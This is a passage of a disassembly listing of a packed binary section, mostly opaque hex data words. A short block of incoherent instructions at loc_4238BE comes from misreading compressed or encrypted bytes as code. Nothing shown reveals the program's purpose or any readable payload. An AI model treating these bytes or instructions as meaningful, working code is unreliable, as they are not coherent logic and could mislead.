0B413BB83h, 2188051Dh dd 3C4FBA7Ah, 234F57DDh, 44A77406h, 0EE36B2BCh, 0ED3F65BFh dd 5E088020h, 0A27CC891h, 673A65DFh, 83954CCCh, 315AE09Ah dd 0E1008A42h, 0C0E6E033h, 6E1F11FDh, 0E68C23ADh, 9A0010DDh dd 2840096h, 70CE0711h, 0AD84E4A0h, 0F857E73h, 0CF3B140Eh dd 40E2E524h, 1C93A0EAh, 3AAA3CC4h, 0C17B213Ah, 0AEFFB83Ah dd 0D53E5A75h, 6777098Ch, 0F2B4FF0Ah, 0E0390E4Eh, 4D0CFE56h dd 0EAE3FF05h, 7F37C062h, 0F1EE3A2Bh, 76274DE2h, 0B65A240Ah dd 0F90D6868h, 655A703Fh, 0F6E107E2h, 0CFC83E9Bh, 21D13C18h dd 399DD411h, 88B138D8h, 91AD586Dh, 0F9D27BBDh, 0FCD4DCB4h dd 5476B358h, 82218929h, 1A28C400h, 3CA1B8Ah, 0C1B6C8D7h dd 2817182Ch, 0B86AB2F1h dd 9201230Bh, 4BC6CEF4h, 0EA2582A3h, 6816D6B5h, 2C8B5571h dd 0AAD17DBh, 93C4D244h, 0A4BB12AFh, 2A3ADE9Ch, 2D9201D1h dd 49BFFB94h, 0EDCBF39Ch, 7EEB48A9h, 21B327A5h, 24C8CAE4h dd 85C52C0Fh, 23269F62h, 58463834h, 0B6CDC898h, 654F5FD6h dd 0CFFF7193h, 5EBFA6A8h, 9AD947B8h, 0CCC22793h, 33E32557h dd 42C7EEEDh, 79C954DAh, 7E23609Eh, 713B0ABCh, 81E65D0Bh dd 969AAF90h, 62F359FCh, 9041767Bh, 0E5AA98E3h, 0F9FC4FD2h dd 8FA854B8h, 0EBA25FACh, 852A85C9h, 6E935562h, 4E8DA36Bh dd 38F2E48Fh, 0ADA8737Ah, 8B1359h, 72065BE5h, 2BAFC772h dd 0F442F1D6h, 892321C6h, 0AF643A38h, 6EB2BD2Ah, 0D5DBE06Dh dd 4AF71847h, 0E3006EA3h, 9BBD9B85h, 0C9D2B8A9h, 12F4CB92h dd 24862E0Bh, 87AB3E8Ch, 93477F85h, 0E5E198B5h, 68A51C39h dd 802B8ACCh, 0D8D17F81h, 52DC9502h, 0BFBD2675h, 0DA2D6711h dd 4B67F0BDh, 9CAF3522h, 4DFDC6DBh, 33689B08h, 6221F92h dd 0BB35641Bh, 43C789D2h, 0FA36750Dh, 0A1ACDEA2h, 3512C220h dd 0D1272426h, 0E52FAE62h, 0C8F7134Ah, 0E0D6D6D9h, 403492D9h dd 5B23420Ch, 1CB7A24Bh, 72F7B31h, 21F4EE97h, 0CE2AC75Dh dd 80048817h, 0E288B0D1h, 5A4F5A1h, 0A57B69C4h, 0E2FE1ED6h dd 35945E67h, 724FEA3Ch, 0A1E7C815h, 184B9B40h, 583DE26Dh dd 4EE998Fh, 0EBC8554Ah, 4236C84Dh, 15197B9Ch, 9E1E24F3h dd 4609CD10h, 9C1656EBh, 6E718FD9h, 0EA4E09C6h, 0CD576DA5h dd 52EDB285h, 526D4E5Bh, 211069D7h, 3CB43CA9h, 419F05AFh dd 0ACF90D80h, 9D09F21Ch, 4BD00428h, 52486538h, 234F5EFCh dd 83454168h, 5CF4C3BCh, 0F37B30A7h, 0C52DF9h, 338D897Ah dd 0D0894CC4h, 9DB857BEh, 0BCED7FD6h, 9AF4E929h, 79713C1Eh dd 1A2A2D3Ah, 0C4535E3Eh, 1DCC9E89h, 0C566E001h, 5A4F5FB5h dd 0ECA14378h, 8D4F09BBh, 3CDBADA8h, 0D5915E50h, 4C3A7204h dd 379FCE8Bh, 26C64120h, 7C0A663Bh, 0F934E991h, 0BFA229CAh dd 0C1C5BF98h, 5D4617A2h, 0F2F07FE2h, 43AA2B66h, 0DB4E1859h dd 9284CCE2h, 0C0A5EF83h, 0A67BB243h, 0C72D9C0h, 0DE5792C7h dd 0B9413E77h, 3B90C2ECh, 0D79E1F02h, 0ED35CC50h, 71F0B04Eh dd 83FBA550h, 0BC348C02h, 6C9F347Fh, 4986D864h, 0EE6BB0E0h dd 0DA9ACF8h, 30B80B1Bh, 0A04AE5A0h, 0FA66BACAh, 91636FE8h dd 98C6353Bh, 0E3E45667h, 7C37F0D2h, 50A9E394h, 0E9959596h dd 23862A9Ah, 0BF5F8301h, 8402D95h, 625497B1h, 6BEBE3D2h dd 0C481482Eh, 61DD5156h, 3565FBBAh, 8278EF76h, 7A8B036Bh dd 21B18DF2h, 21AC107Ah, 7962446Fh, 1027578Ah, 0DBF80960h dd 0AE57F1DFh, 0CCD4B1h, 0B31EFFC4h, 0D76E3AC5h, 0AF6E7E94h dd 35FEEDBEh, 0A49135F6h, 0B1CE2923h, 0AC8DE70Fh, 6CEFF3E8h dd 872A4129h, 957A20BBh, 69AFA2E5h, 0AE73CC8Ch, 0D7F4F7A7h dd 925BDC69h, 0BE0C3653h, 0E3221E41h, 41B5405Bh, 0C70EF0BBh dd 0B143250Dh, 0B83ACB40h, 705C80Ah, 2081A1DDh, 3C051A11h dd 79D6634Eh, 998966D9h, 308860DAh, 0F91C35D0h, 600FB7B6h dd 877CEB42h, 0E8273F19h, 0B954FBB8h, 21206C19h, 0CBDAF9C7h dd 82851E27h, 0C73EF4D8h, 3F7F8207h, 0C1ADAB69h, 0AB11C474h dd 2C0DF892h, 64833841h, 0A44C21D9h, 1E13C0CAh, 0CC573D25h dd 56343202h, 87E1F896h, 0D3803205h, 52AC476Ch, 8AC64BE1h dd 8CFE8B59h, 45B77373h, 91EF13AAh, 8D8D433Ch, 0B5524392h dd 2D7D0FAh, 0E31994F8h, 9C908C34h, 0E9323C67h, 0D79359D9h dd 689418ECh, 538D3925h, 0A54D7749h, 0E4144E9Ch, 796FA5E9h dd 0D140EB5Eh, 7426389Bh, 469B131Ch, 0A967B112h, 0BCBC2D3Ch dd 0F9E75ADFh, 0AC29B5CBh, 0BE183B90h, 2ED6CD92h, 0D8011F92h dd 7FAFDEB9h, 0C7684759h, 554D0BF6h, 205F7FC5h, 0FB075AB3h dd 0FE9E124Bh, 61D9AEDh, 33650D94h, 36ECA9DCh, 0BF221FE2h dd 0DB29CAB9h, 0EE391D63h, 0B6E21AFh, 630DA003h, 0E45219A6h dd 0E3E8825Eh, 0E64CDDE9h, 1A901091h, 3548EA5Eh, 70A8A2CFh dd 0DBAA3004h, 527E131Bh, 0D23941Ah, 92611EDAh, 5B3E6AEAh dd 2C58A67Fh, 0B689E680h, 0DF1C96D5h, 9390D2DFh, 0A956E378h dd 96E064CBh, 2FDB2484h, 0EB554A66h, 2EEC4994h, 930F602Ch dd 82495F2Ah, 36394BA5h, 0EF216C68h, 0EF8281E9h, 27A5A4F0h dd 0D3845189h, 0DDF02D8Fh, 53D991F1h, 71166A0Eh, 2566B302h dd 406FB05Fh, 0B5E7BCD9h, 39F63AE4h, 0F2DB5E02h, 0C8786B7Ch dd 0A498D82h, 0B7249BF5h, 9825AA9Dh, 0CB53A52Fh, 2CD834BCh dd 8FAEE775h, 2BA3AD47h, 8CDE2029h, 6922950Dh, 70CDA200h dd 0DD34811Bh, 909F5D5Ah, 0FE2ABCAh, 0CAA5D344h, 0E3BE921Fh dd 73E630D6h, 450454DEh, 0D0B17CE1h, 27BDC1DCh, 0CB9AFD72h dd 0FC007EDCh, 5E44F2FCh, 92E3C828h, 846BD7F9h, 0DF658848h dd 0AE1EEF8Dh, 0F7F474Fh, 21CE544Dh, 4ACAAD15h, 0A7CC1979h dd 2A63F945h, 27EB3774h, 990F3BCCh, 7BD55C91h, 4ACC133Eh dd 20D2DD2Ah, 16DD9359h, 830618A3h, 518C7830h, 80AB72E8h dd 971C36E2h, 0F3F9BDCAh, 0E7A5C8BBh, 0D07CC498h, 0BFF0CC9Eh dd 4888A97Eh, 3E6F5196h, 2DE6CCA3h, 252E937Fh, 0F19EC4B0h dd 0FD8DF4A1h, 0ADE9A73Eh, 7FC6C582h, 7C35C176h, 0EE374B0Dh dd 35C3624h, 0E413C9h, 992CB5DBh, 26BBC724h, 0F8AAEDFAh dd 0D20BF8BDh, 1A6422DEh, 8E4495ACh, 8AF64010h, 0DADCA95Ah dd 16DB660Bh, 13705C2Ch, 6CB1605h, 0B8E97FCAh, 59210E50h dd 1684F5D0h, 0F2D8E03h, 4E6F2FC1h, 0CDB65685h, 0EF4B7D92h dd 0F57DC02Dh, 522D0F2Ch, 3FFB8FB3h, 0D19F03C6h, 73850476h dd 0E1C7ED3Eh, 25ACFFA2h, 8C23CDE0h, 9E6410BBh, 764A4D6Bh dd 32279712h, 5F738788h, 8A89C4FCh, 9B1B2DCDh, 365B1DE6h dd 7F04B5C2h, 4A689C8Fh, 2E884EDBh, 2A233DEAh, 69CD41D9h dd 0AF7CFB99h, 0FEE9E6FDh, 68BBFFFDh, 0DCCCD156h, 9FCE8F24h dd 9F91067Fh, 70A88D15h, 0E1FA40A3h, 376454D5h, 21E60183h dd 18F3385h, 7E3ACF96h, 0C26408FFh, 354F3EA1h, 330C45Fh dd 62317D9Dh, 0AE3C8AD1h, 0F35B0712h, 76189C75h, 775A44B8h dd 100C1062h, 616C0A11h, 296E882Eh, 2525E8BFh, 0EA389626h dd 10706696h, 4EC2E7B5h, 352D2D84h, 0DF58ADB3h, 0A7A126F2h dd 4699384h, 4AEE1DBEh, 98B2AC74h, 769C5782h, 0BA2C62DEh dd 38E1B3E8h, 0AC5C2DA4h, 0C7A6E4h, 0CBFC5DAAh, 71C461AAh dd 73FF7AE0h, 68642A58h, 94834A04h, 73CE6206h, 0EDF828Eh dd 384DA6AEh, 0DA88075Ah, 0F323656Fh, 5BF2B29Fh, 0F9C69933h dd 0BF3A9865h, 0E36FB62Ch, 262E83B5h, 821C206Dh, 0E87A6D4Ah dd 626B98C9h, 4818F6C8h, 0B2807034h, 861A383Fh, 30544BD1h dd 3C0EAC74h, 29CB55C0h, 4C63CA93h, 2BD190A6h, 3A2111A6h dd 40741174h, 90D305FDh, 0BE4F3F2h, 7B06003Bh, 0FC732545h dd 75B803C9h, 3A37CABEh, 381B596Ch, 0C51E9BB6h, 50CB9ACFh dd 0DC36C97h, 97E1F84Fh, 0BD11F5A4h, 0A6225123h, 9B2EB180h dd 0EB96ABB9h, 0B8333647h, 0C65B5DF9h, 0C41DFC53h, 0D88131B6h dd 0FD6C838Bh, 2E4BDCDBh, 4A9F9C39h, 0D56D920Eh, 7B0E2519h dd 0F5509A25h, 1DCFEB8Ch, 0A30D10DFh, 0DDCAD26Eh, 0EE6684A5h dd 5C47E655h, 0CA1B6711h, 47D3084Bh, 0B49B1EE1h, 3C83E92h dd 0ADC6C09Bh, 8363E9A8h, 3B9E0BABh, 4C2B6E8Fh, 585C2696h dd 8BF4C454h, 1984B27Bh dd 8EAC8AD3h, 0BD8CA359h, 0F92B6223h, 0AA00B33Ah, 0C6832BDCh dd 8C0E35ADh, 0EAB04201h, 0CA12500Ah, 0BA3B8828h, 3E4FA58Ch dd 0B434AB8Dh, 4BF853A9h, 0E47DF1C3h, 0AC8F73A2h, 75CC5EFAh dd 6508131Dh, 99C1FB1Dh, 22B05CD4h, 0EFD1E346h, 0FE45B6CAh dd 4635A5BDh, 0FF6E152Dh, 7006839h, 0FCD95D31h, 18A059A7h dd 930C07Eh, 0A945726Eh, 0ED140BF7h, 49702623h, 1D5C48CBh dd 250BDC88h, 2EA8C92Dh, 5FA608B6h, 1D3F2397h, 3440D0F6h dd 0BC94B6EDh, 0CF580949h, 215F5B36h, 9846E3Ch, 0F91567B8h dd 7E4AFC1Ah, 25064CF3h, 0DF364F57h, 29F5C24Bh, 4DD0E3D4h dd 0C12A0D12h, 7FB83EFDh, 0B8A1866Eh, 89AE1E57h, 6648AAA6h dd 99FBFDCAh, 0A2C71034h, 150D8D55h, 115C96FCh, 0F37846FDh dd 0E3067C69h, 0CD0F7B3Fh, 746CFE28h, 0E7ACFAACh, 1130ECE9h dd 4768EF08h, 0C25F285h, 9847572h, 5A5B97DAh, 957BE7E9h dd 83699696h, 98829BECh, 9E52C0Fh, 6D975850h, 0EA9FD979h dd 440DA66h, 71F422ADh, 0E60AAB9Dh, 301B8573h, 2C7AA91Eh dd 682F1C12h, 6FE83297h, 0F7A78D20h, 416173A7h, 0F1035B85h dd 30255982h, 0BF33ED2Eh, 0CEBEFA39h, 5C4BEA33h, 84F26991h dd 2B8D3CC8h, 0DC168928h, 0C55BE939h, 697715D6h, 99FA2F4h dd 0D28CDAFFh, 21FDEEEBh, 0CDA8754Dh, 0DD801F6Eh, 5F7647C4h dd 673E2E32h, 30DDBCBAh, 0F1A13610h, 0DC293390h, 0E77CFAE0h dd 0FB79F641h, 5381DA2Bh, 92D027B2h, 0F9D84EF2h, 0E55920A0h dd 0A6CDFC46h, 0C2FAF14Dh, 186E8BB7h, 7DF93E74h, 0DB5C064Bh dd 9753A8F0h, 0ADE73444h, 0BC7BEE51h, 0C69094A8h, 8918D26Fh dd 93D2991Eh, 2871A1B6h, 0ADE8BB1Eh, 56BEC9D2h, 456693BFh dd 0C8CED68Ah, 0B9CE26EFh, 46FA0146h, 90740848h, 0EF8DE927h dd 484B2BF6h, 0D876345Fh, 0C3FA0BDAh, 10C8461h, 0F091199Fh dd 0B9666DDh, 91DAD526h, 80A28C4Ah, 0A03C2706h, 9E56858h dd 0FC08E762h, 29347658h, 0D237EC96h, 0CE9CCEE8h, 42B35C8Fh dd 0F065F667h, 2A941F2Dh, 1ACC8F43h, 9DBF7A4Bh, 85E3B017h dd 6D53DF38h, 82FF4FDEh, 9DE7B30Bh, 0FF9769F0h, 7C3DFD33h dd 0C4114643h, 0F778B44Bh, 0A87B4525h, 0C44E220Dh, 431495D3h dd 0C8B2D2Fh, 12381EE3h, 92674FFFh, 87CF2BCCh, 0A0279512h dd 0BEE9099h, 4BDC840Ah, 49EA0AEAh, 0DB6EEC12h, 0BAC26CA7h dd 0E7156902h, 0EC9BF60Ch, 0BA004729h, 0FA682BF8h, 0F34D3104h dd 3E10E152h, 8AB9C1D0h, 353FBB31h, 72FBB5C2h, 46815FB8h dd 8142A26Eh, 0F9EB9F90h, 348D5DD9h, 235DDC26h, 7B221BABh dd 8061C480h, 0B91FE80Ch, 9EDE25E7h, 4B7D7997h, 61CE2AADh dd 61A72134h, 73A2FCD6h, 7665A319h, 903C0B09h, 89EF4535h dd 73618D12h, 148FC01Bh, 0CF635809h, 66456360h, 4C4549B4h dd 0FE37B0E2h, 0C4544F29h, 6B553A00h, 0CB61BC12h, 0E3D090AFh dd 1C258C92h, 0EA34E0A0h, 0AFD7F594h, 4EBD1B8h, 3B1A5C32h dd 3462827Bh, 0E0E2B86Ch, 38C6B809h, 67A6F0D7h, 2C04CB8h dd 0EC5AA2F6h, 5B0D9ECEh, 0AC8FA3F6h, 556F5EBBh, 92FF7166h dd 0FEF4A6B4h, 1063D373h, 0F983067Eh, 3CA3DE29h, 2A0CFCC4h dd 0C8BFEE3Ah, 0BC9A0A32h, 59E3E2ACh, 6ED381Fh, 6AB51CF5h dd 90BA92EBh, 4ADF92DBh, 0EED5C458h, 0F1ACD350h, 0CE33B64h dd 46A499FBh, 988C2BDCh, 7E122C3Ah, 0D8716A4h, 0EE075D44h dd 70F28F74h, 4533244Bh, 0A2C85870h, 0A5377A82h, 35FDF1ABh dd 0ED31D58Eh, 608C19C9h, 1CDF2321h, 0A2DB866Ah, 9E42A769h dd 0CBFFF489h, 5FE71377h, 0A3C47568h, 41BB936Ch, 890C7AF3h dd 0A0D57B96h, 0BD0B197Ah, 0E0736A12h, 1503A9E7h, 7767384Fh dd 0B7714CFCh, 92D2840Ch, 9D51B2BDh, 48F2ABBEh, 0B3BE8444h dd 0F5009F26h, 518F74ADh, 9825B352h, 5FFB05E6h, 1AAA6FE6h dd 6312C248h, 0B84C3EACh, 0FD5ABE4Eh, 0D61CEFD5h, 0FFBEB954h dd 1EF06629h, 5BED3C91h, 3130FA6h, 39ED7057h, 0B22851BAh dd 118D3AAh, 74CC3521h, 0F1388E28h, 12BF1A35h, 0E44C436Fh dd 6C7B3FECh, 564E76F0h, 0BD501C0Ah, 0F3BAD76Bh, 3ED4CBE2h dd 0DA6816A9h, 8900DDB4h, 4DF0AFEh, 0A8AD49BCh, 277F38BDh dd 90A0BA28h, 8FDC1E3Ch, 0DACE1522h, 51566669h, 2CA1E01Dh dd 0DE01E4Ah, 14326696h, 6453AB71h, 0AA42F3B7h, 5A8C3751h dd 42AF614Eh, 1F8F2413h, 0CE096D50h, 58936687h, 9E3FE325h dd 0E51CABC7h, 0D096EBA0h, 663428E7h, 51FDFD2Eh, 54F6A5F3h dd 81B8FBFh, 8F38192Bh, 5D99A714h, 736D264Eh, 489AA499h dd 0C751FDD9h, 272AD2D9h, 4C03564Bh, 0F4A6EF08h, 0D8EF1C72h dd 1ECD975Ah, 124ABA79h, 2C772637h, 24AE0A3Fh, 52C84CCDh dd 0B2BC0BECh, 0FBD2112Dh, 1266D19Ch, 91A9D396h, 0D7AB11BEh dd 1165E922h, 9E9BC651h, 727C2111h, 96323167h, 59C2B03Ah dd 8D5F5397h, 39864A0Dh, 0DF9C5595h, 97C098B6h, 0AB17AC2Ah dd 9A90CA3h, 0B857A7F0h, 85565B13h, 5AAE41C2h, 2D0E6773h dd 2A1DFEE5h, 1FF689Eh, 169E96E1h, 0EBF60C29h, 739419EAh dd 89F89171h, 336B5D6Dh, 0FEAC17B0h, 66D8796Fh, 824C3875h dd 12212C03h, 81557E7Eh, 48EB329Bh, 7825CB1Dh, 8D345E39h dd 5D188749h, 8FFCE5B2h, 2A85A153h, 0DBE9DE69h, 86738AF6h dd 0C58E481Bh, 0FF6D6698h, 589FDCBEh, 17D98FFAh, 602B9D8Ah dd 162EAA95h, 7017CCDh, 0D4B54325h, 5CA72CCAh, 3B17FF9Bh dd 69F748DCh, 0BEE5E5BCh, 5E52CB64h, 0D9694BC4h, 5DF0DD7Bh dd 734B40A4h, 8A399909h, 0B74DED5Eh, 698ABB91h, 0E1FC1A9Ah dd 0AAB7AB82h, 835EE0AFh, 50E55E67h, 0E889290Ah, 0E4203E2Eh dd 9FB85030h, 0AE7C8CC7h, 78554E3Ch, 0CF9F5A5Bh, 25806EB2h dd 0DDED3EECh, 30EC9C6Bh, 3EB12A22h, 0CF89814Eh, 8A86A405h dd 9E319A16h, 0AA28768h, 66A04C27h, 80EAAEA1h, 85506237h dd 0AD805C6Dh, 0CB9E3C5Eh, 0C66679F7h, 0F574C677h, 0C38DD4DEh dd 5EC1675Eh, 64B9F2C7h, 3401F98Ah, 0AE91FCF2h, 858AA2F5h dd 8AEAC4Dh, 744931A4h, 66E0B880h, 5C9B3829h, 42B11602h dd 86634EFEh, 23650390h, 0E32A4529h, 52534D86h, 232EB7AAh dd 2E116752h, 46CF9C19h, 88349CF8h, 0B9244AAh, 3891FC89h dd 9B027E18h, 0D207AFC5h, 6DB83872h, 0A8B5B087h, 8EBE3558h dd 0D192E562h, 0DD002797h, 0B3FA1F8Dh, 2FD3F00Dh, 764879Bh dd 38D045AEh, 48118C27h, 10F5CCFEh, 4892160Ch, 0EA95CF2Bh dd 28B8CDD6h, 729FD95Bh, 0CFEFE84Eh, 1BD79FE8h, 0E9A565EEh dd 35878665h, 8583C8E0h, 69EA9F45h, 896C2DC8h, 0ABC86C6Bh dd 0F5C02BCAh, 0AD018FAAh, 0A6D67EB6h, 82700CC8h, 18864294h dd 83EA01D0h, 0D6F25899h, 0C386A57Fh, 16D7EB28h, 836CD266h dd 17F64A6Ch, 9275DDA0h, 0A2B0B75Bh, 388ACB0Bh, 2517FD51h dd 655EC107h, 0B2A30C33h, 19747CA8h, 0FE8E0066h, 0BA429526h dd 7E0E4E0Ch, 0C99A6E0Ah, 30F0C297h, 5EDF037Ch, 0A0FF99DCh dd 0FC81C366h, 0C3EA0A8Ch, 0E7D0473Bh, 8ABB0162h, 0FE90C0B1h dd 0C1A482Ah, 39ECD39Ah, 51A47815h, 4681BB43h, 490BD7BEh dd 8ABD5FD0h, 0AE94E6DCh, 0EB8DC07Ch, 0DF8FE254h, 0F4C028F0h dd 217F316Ch, 21B470h, 0A54720E6h, 9911E926h, 49115B8h dd 0B523489Dh, 0CB0256FCh, 2D3A8FD2h, 71906EFh, 118BD54Ch dd 5432B18Eh, 9608BF6Fh, 2DC71202h, 8ED9DCC8h, 430BB25Dh dd 0E62C483h, 59CC7B6Eh dd 0F571923Ch, 98D6A204h, 35BF6DE3h, 9119EF3Bh, 168008h dd 7B32B234h, 0A52B6D68h, 5D7DEECBh, 7F421EECh, 89D13C45h dd 0E9E9C503h, 98650E9h, 4DE63A5h, 9B880093h, 0F388E71Dh dd 93DB525Fh, 25544371h, 0B10DCF83h, 2DCD13B7h, 0E67A5861h dd 0C4E22598h, 0EAB1690Ah, 0A3052ECDh, 0B13C7AF3h, 79899A98h dd 88BE9E45h, 1A8BAE1h, 4A2E32B6h, 43371E9Ah, 0D8AEEEF7h dd 8E8C7EC8h, 3C01F50Ah, 0DBF5FB26h, 0A6CC1662h, 45F69BADh dd 94C698FEh, 617FE1ABh, 0F81FCAF2h, 0B2B4474Ch, 26047366h dd 10B2043Fh, 0C871D6DFh, 0B405DE90h, 0B572EFAh, 90213F00h dd 847279Fh, 4943045h db 0C0h, 0D2h ; --------------------------------------------------------------------------- loc_4238BE: ; CODE XREF: .packed:00418D29j sal dword ptr [edx], 1 adc esi, [edi+1378FFh] mov dh, 95h fsubp st(7), st fdiv dword ptr [edi-207A822Eh] add al, 0CDh adc eax, 0EFFEBE58h mov edi, ds:38654945h db 65h pop ss and cs:[edi-11202C9Ah], dl mov bl, 51h out 86h, al aad 0Ch in eax, 0AFh ; Interrupt Controller #2, 8259A xchg ch, [eax+esi+4] retn 0D990h ; --------------------------------------------------------------------------- db 1Ah, 9Ah, 6 dd 2AAA71CEh, 0C7EE26A5h, 0EB636F76h, 0C1F13D29h, 91125C14h dd 0D3D5D0F3h, 0DECFACE4h, 44372A03h, 0C5560943h, 0A086A0EDh dd 121D89B9h, 0A3541F88h, 0F04805A5h, 72B03035h, 0BAA897D8h dd 30857FC5h, 0CE584CD0h, 0A4C818B4h, 0BA21D9AEh, 0F592DDA9h dd 0BD868905h, 1A0B15B7h, 7428745Ch, 3C2FCF9h, 0E5AF19ACh dd 245CB1A1h, 0B813B961h, 0FF355BDEh, 773CB853h, 0A52B3D3Fh dd 4CB6CE66h, 6B4ADD0Eh, 24C6ADA0h, 91545614h, 76D7CDB7h dd 5102E82Ah, 0DF6B32EFh, 0F330CC08h, 73F4DC09h, 0D3182636h dd 5943159Eh, 490396F4h, 5B879F79h, 4B4847C2h, 0FAA0D019h dd 4EF12BB0h, 4C3F3C0Eh, 998F855Bh, 7E422343h, 0D52F49C1h dd 649EE0C3h, 888C757Eh, 9B14FCD7h, 0F3D5829h, 97F36985h dd 3B4BF40Dh, 2312C83Fh, 0E03F95C5h, 8A5300B4h, 35D45ABBh dd 318D69C9h, 921A7D2Eh, 49CC3326h, 1CB65735h, 0BB61565Ch dd 0BEA74D8Fh, 262E29B3h, 19F58046h, 6D66CA79h, 0E1A611Eh dd 0BC010B3Bh, 0AA276326h, 0AEDD0784h, 6359930Eh, 0D8A040D1h dd 107809EDh, 147F9328h, 6E2A0B2Eh, 647E7D7h, 534C0198h dd 444A40FDh, 0EC704ECBh, 2AF49F3h, 0E3509808h, 0BF056A58h dd 7B9EC97Bh, 7398D84Dh, 0CC267904h, 2B3E18C5h, 58233702h dd 0D769317h, 0E4F30104h, 0B1EA6F73h, 0CFE4EACAh, 0AC85EF38h dd 9D196886h, 0B92FD622h, 12764532h, 38DBC040h, 0D528AB69h dd 0C46F7A2h, 4E9D5A17h, 99DD3C58h, 0F7E11CF7h, 0A662CB52h dd 5B1298DBh, 1BD6B9E7h, 1D9CE203h, 6C95E404h, 5F21C151h dd 0DF1A1691h, 8FB960FEh, 0AC7FB1CEh, 0D43BBB94h, 3787C30Fh dd 0C433BECEh, 0DC3620Dh, 0F7DCBB49h, 8D246BADh, 0E56C86F0h dd 5DE2F70Fh, 8409C172h, 22CEC2C3h, 5A7332ACh, 2FC756C0h dd 3E74AD3Eh, 0DC3DAC04h, 0E6224951h, 0DC6936ACh, 5CDCE1D6h dd 1AEBA1B5h, 0EFAB837Ah, 69D1BCACh, 0CECB7BEBh, 89F5FF27h dd 2A3A92A6h, 0CFA2C661h, 0D1124491h, 3E7E980Dh, 0F2FF7901h dd 0FAA628C6h, 15BC1B46h, 0B8A24A37h, 8D78F95Dh, 4231D26Eh dd 0C3F15C5Ch, 0B1C18136h, 3C1CF952h, 30B0B1CEh, 0A4785811h dd 0BC8F45F3h, 18DF13D9h, 5D6065F6h, 0DEA97D5Fh, 0BCBB829Dh dd 4CB9FC4Ch, 4F0429C4h, 34E69908h, 3661ACFFh, 6E31C8B1h dd 0CE04CA38h, 8943E21h, 3910E065h, 1E22EF35h, 2E2F9055h dd 0FD0EBFABh, 0F7416047h, 0C20E105Eh, 0E94C5C67h, 0FE2833EEh dd 0C6193245h, 52B4C6F4h, 4EF6676h, 547B2169h, 2C578A99h dd 0CA04746Ch, 0DB39B198h, 0E02974D2h, 5C875057h, 5B43A82h dd 0B6E6023Dh, 11A24512h, 248F875Ah, 0BE6DA6B8h, 0A04C78EFh dd 0C6819C4Fh, 63F2677Bh, 0F68909Bh, 0F8ACA33Dh, 0DA9C9925h dd 2A2EDDEFh, 8894FC1h, 8A058EA9h, 7193FF65h, 5845B4E9h dd 807C4C7Eh, 0D9615F5Bh, 7030F91Fh, 0A0EE1900h, 7D6EBD83h dd 0E2E92A44h, 1F6543F2h, 0CB456D1h, 422AE8C5h, 0F32488D5h dd 0FD8DC484h, 5A5D887Ah, 0A62C91D2h, 43603791h, 0EE259FF5h dd 4F6AD5E7h, 9B862874h, 14D99780h, 9417EB1Dh, 0BDC06B3h dd 5839B377h, 0FCD10528h, 0A1FF67E3h, 9BEB4277h, 16EC878Fh dd 28B2F08Bh, 0B4CD0329h, 0AD40A663h, 62735CC4h, 70F57D9Eh dd 80BDE5BCh, 22B5F818h, 918FF092h, 0E4445284h, 0B8E47144h dd 91856D7Ah, 47F5DCE4h, 0F25D5810h, 71A14C54h, 334FF221h dd 0D8683B24h, 9C5E012Eh, 84CA181Fh, 0D8A25183h, 0D9689F5Dh dd 2E766F52h, 0B16E1D87h, 0B5E3AD9h, 5616FFF3h, 0D217574Dh dd 2A22034Fh, 513B90D2h, 0B5FFD3CEh, 3CCB4A02h, 79792AA4h dd 6FA9BF02h, 0DC0DC583h, 0D69B85FDh, 0B85F1293h, 0EA22D629h dd 6FB29992h, 447C4E88h, 5FD79C89h, 0C54DBD10h, 5A100DCAh dd 1F0F3B58h, 8E8201E1h, 3738254Ah, 0F561814Eh, 0E5AEB741h dd 3748B94Eh, 151892A0h, 0F6CF7DBBh, 95B82784h, 2B157B8h dd 0F433E29Eh, 5D91975Fh, 45BB7085h, 64C4E327h, 0F073645Eh dd 86BEDEAAh, 0F424BABBh, 3642B95Fh, 58E4B779h, 0F332CAA0h dd 83844128h, 0F3A1DBF6h, 735B4A60h, 0AF653AE2h, 9D285A4h dd 8D3A0988h, 355C6CE1h, 89E59CEh, 0EBDD45E2h, 63983EE4h dd 931762D0h, 0F9717F73h, 255408BDh, 0CF23CFB3h, 760D8503h dd 0E1CF2EA6h, 0E6CF8E2Fh, 560F935Ah, 0A4C3C3BBh, 6FDB0382h dd 523F1F8Bh, 1B3A396h, 8CAA6556h, 6C9457DCh, 0BE821A50h dd 707CCB06h, 3D9B23CBh, 0F28C6A9Eh, 0E06701A7h, 0CB1FB085h dd 700E0617h, 0A9FDBECh, 63886B15h, 2A62D0h, 0F71B1B22h dd 424841Bh, 92FED803h, 7D9C9C95h, 0BF9991D5h, 3035ACBDh dd 2DAEFA1Ah, 1DBBDA58h, 0E67B09F7h, 0BB1A962Eh, 1B62FBDEh dd 89754D7Fh, 0AC5F26BEh, 656E76D8h, 0A949C84Ah, 1D2882CFh dd 553B4832h, 0F7DC84A0h, 76B62130h, 0B0FE7DD0h, 7BF1D627h dd 0E0CF5D57h, 234BE50Dh, 53ACE44Bh, 92457A0Dh, 0DFC145BAh dd 237FD1F7h, 0A3588058h, 6C9A6D4Eh, 0E61DD9C1h, 0AFBFD644h dd 0D3B8ECB5h, 0D19EBA7Ch, 6D278E0Ah, 0C85FEDA8h, 22D471E1h dd 636E32C3h, 5EB82291h, 3BFE6862h, 5DB35FCEh, 2E33533h dd 0CDD00863h, 1157E2h, 0D45F7774h, 0FD259B9Bh, 7FCBF1C9h dd 0ABA34949h, 0EC46D732h, 482A0D24h, 0E727CE13h, 0A1357690h dd 5591CB44h, 66331AE8h, 380D2A67h, 53936BFBh, 0DBF394A1h dd 0B4F4C087h, 0AD23B6AEh, 12D004C5h, 271FE31Ch, 776BC2C4h dd 1550F9Bh, 0C40FF105h, 0A41EABEBh, 59D3B2D9h, 9A45A9EDh dd 9A37D659h, 87926CD3h, 86D34245h, 0E0E477ECh, 0D022FA9Bh dd 0BD50A9Fh, 0F8A3D0EEh, 0B876A0BCh, 0FD127D86h, 3E7CA390h dd 153FEDC8h, 454D1BC8h, 0A12AC75Eh, 0F0093A07h, 1980843Ah dd 63B72E0Ah, 3BF3069Ah, 0F567F550h, 428B00E2h, 0BE62763Fh dd 0A34901EAh, 10848F32h, 84DAEDA3h, 195C2042h, 239AFA05h dd 0F01D286Fh, 0D7C5E123h, 90233592h, 4B77D166h, 5812EE13h dd 731C8D72h, 0E32EC9B8h, 0E2E57531h, 13C01FE4h, 73386DDEh dd 0B8862E6h, 9AC41936h, 0BB9D9105h, 0DB5EE06Eh, 325B2526h dd 0BE1AC928h, 47E50AF5h, 501DDA75h, 5157048Bh, 8E8A7272h dd 59D8DE1Dh, 